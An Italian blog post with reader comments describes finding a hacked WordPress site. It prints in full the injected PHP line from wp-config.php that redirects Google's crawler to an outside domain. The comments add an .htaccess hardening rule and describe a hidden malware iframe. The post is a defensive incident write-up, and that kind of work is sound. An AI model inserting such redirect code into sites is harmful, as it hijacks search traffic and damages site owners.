Redirect e codici maligni in WordPress

Pubblicato il 26 giugno 2009 | Varie, WordPress.

In passato su vari blog ho letto di attacchi e problemi di sicurezza a blog basati su WordPress. Una cosa simile era capitata non molto tempo fa anche a Ghido su BigThink. Mai prima d’ora mi era capitato un problema del genere. Nel mio caso possiamo parlare di un attacco quasi invisibile: il codice che ha infettato questo blog si occupava di reindirizzare le richieste del bot di Google ad un altro sito.

I sintomi

La cosa più difficile è stata proprio accorgersi che qualcosa non andava come doveva. Inizialmente mi ero accorto di alcuni problemi con il feed RSS: Google Reader non mi riportava più gli aggiornamenti del blog nonostante il feed venisse visualizzato nel browser correttamente, ho quindi deciso di spostarmi su FeedBurner e il problema sembrava risolto.

Mi sono quindi accorto che su Google non venivano indicizzati i miei articoli più recenti e, in fine, il Pagerank sceso da 3 a 0 senza alcun apparente motivo.

Inizio allora a sospettare che il bot di Google non riesca più ad accedere alle mie pagine. Ne ho la conferma analizzando il risultato delle richieste HTTP: Google viene reindirizzato ad un altro sito!

Alla ricerca del problema

Il primo posto dove mi viene in mente di cercare è il file .htaccess: il modo più semplice per effetture un redirect in base allo user agent è proprio quello di modificare questo file. Controllo il file, ma questo risulta pulito ed è presente solo il codice generato da WordPress per i permalink.

Ho letto spesso di inserimento di codici maligni nei temi WordPress. Anche se ero decisamente sicuro che il problema non risiedesse nel codice del tema, per togliermi ogni dubbio ho deciso di fare una scansione con WPAntiVirus, ma nulla: come prevedibile anche il tema era pulito.

Arrivo alla conclusione che il problema deve stare in qualche file PHP. La lista dei file e delle cartelle presenti nel mio spazio sembra, però, essere normale. Mi rassegno quindi al dover controllare uno ad uno i file del core di WordPress. Partendo da index.php seguo il percorso delle inclusioni:

  • index.php: nulla di strano
  • wp-blog-header.php: nulla nemmeno qui
  • wp-load.php: pulito
  • wp-config.php: eccolo, qui c’è qualcosa che non ci dovrebbe essere

Verso la linea 38 di wp-config.php fa capolino questa stringa:

38
$agent = $_SERVER['HTTP_USER_AGENT']; if (eregi("google", $agent)) {header("HTTP/1.1 301"); header("Location: http://doormoney.us/"); exit(); }

Per i non avezzi al PHP questo codice non fa altro che intercettare lo user agent di Google, inviargli un codice di redirect permanente 301 al sito doormoney.us. Ecco spiegato perchè i contenuti non venivano più indicizzati e il perchè del calo del PageRank. Eliminando questo codice finalmente tutto torna alla normalità.

Tags: , ,

Lista Commenti

  1. Ghido scrive:

    Bastardissimo sto codice! Un vero e proprio cloacking delle tue pagine!!

    Ti consiglio di fare una richiesta di riconsiderazione a Google.

  2. Si Ghido avevo già inoltrato la richiesta a Google ;) Grazie lo stesso per il consiglio

  3. Aldo scrive:

    Hai capito come è stata aggiunta quella riga? Cioè come sono arrivati a modificare quel file?

    Nel mio .htaccess ho aggiunto questa sezione per una protezione mirata al file wp-config.php:

    ### BEGINS PROTECT wp-config-php ###
    RewriteEngine on
    RewriteCond %{REQUEST_FILENAME} -f
    RewriteCond %{REQUEST_FILENAME} wp-config\.php [NC]
    RewriteRule .* / [R=301,L]
    ### END PROTECT wp-config-php ###

    Semplicissima. Occhio agli spazi. :)

  4. Aldo scrive:

    [OT]
    Ho un problema a iscrivermi al feed dei commenti di questo articolo. Se apro il link http://asteriscoweb.net/archivio/26-06-2009/redirect-e-codici-maligni-in-wordpress/feed il tuo wp (.htaccess, credo) mi redireziona al feed globale dei commenti.

    Sarebbe poi utile dare la possibilità di iscriversi al feed dell’articolo singolo via email. :)
    [/ot]

  5. @ Aldo:
    Non sono ancora riuscito a capire come ci siano riusciti, suppongo che siano riusciti ad entrare da una installazione su un sottodominio che uso per i test e dove non aggiorno quasi mai la versione di WordPress. Comunque grazie per le regole da inserire nel .htaccess

    P.S. per quanto riguarda il problema con i feed rss ho cercato di risolvere ed ho seguito il tuo consiglio, ora dovrebbe andare meglio.

  6. Aldo scrive:

    Sì, ok, adesso il feed è perfetto e vedo che hai anche messo l’iscrizione via email! ;)

  7. liliansi scrive:

    Che storia! Anche il mio blog ha subito un attacco l’altro giorno…fortunatamente un pò meno bastardo. Come mai questa strage in questo periodo?!

  8. @ liliansi
    Ho notato anche io una sorta di epidemia, a te di cosa si è trattato esattamente?

    @ Aldo
    Si, ho voluto seguire il tuo suggerimento

  9. liliansi scrive:

    Hanno inserito un iframe con attributo hidden nella parte alta del blog. All’interno dell’iframe c’era un sito esterno che a sua volta reindirizzava ad un malware. Per fortuna l”antivirus me l’ha segnalato subito, altrimenti non me ne sarei mai accorta. In pratica mi avevano aggiunto un paio di righe di codice in default-widgets.php e default-filter.php. Devo ringraziare il mio hosting per avermi detto quali files erano stati modificati, perchè altrimenti ci avrei perso giorni interi.

  10. Tra l’altro vedo che ne hai parlato anche qui sul tuo blog.

  11. liliansi scrive:

    Eh si, non te l’ho linkato prima perchè non volevo spammare ;)

  12. Aldo scrive:

    @ chi ha avuto attacchi:

    Usate tutti wordpress?
    Avevate sempre l’ultima versione disponibile?

  13. liliansi scrive:

    @Aldo: Wordpress ultima versione: sempre tutto aggiornato

  14. marco scrive:

    ciao, ho un problema simile al vostro…

    wordpress non aggiorna nulla (articoli, pagione etc), nè fa attivare l’antivirus!!

    come posso fare????

    Grazie

Lascia un Commento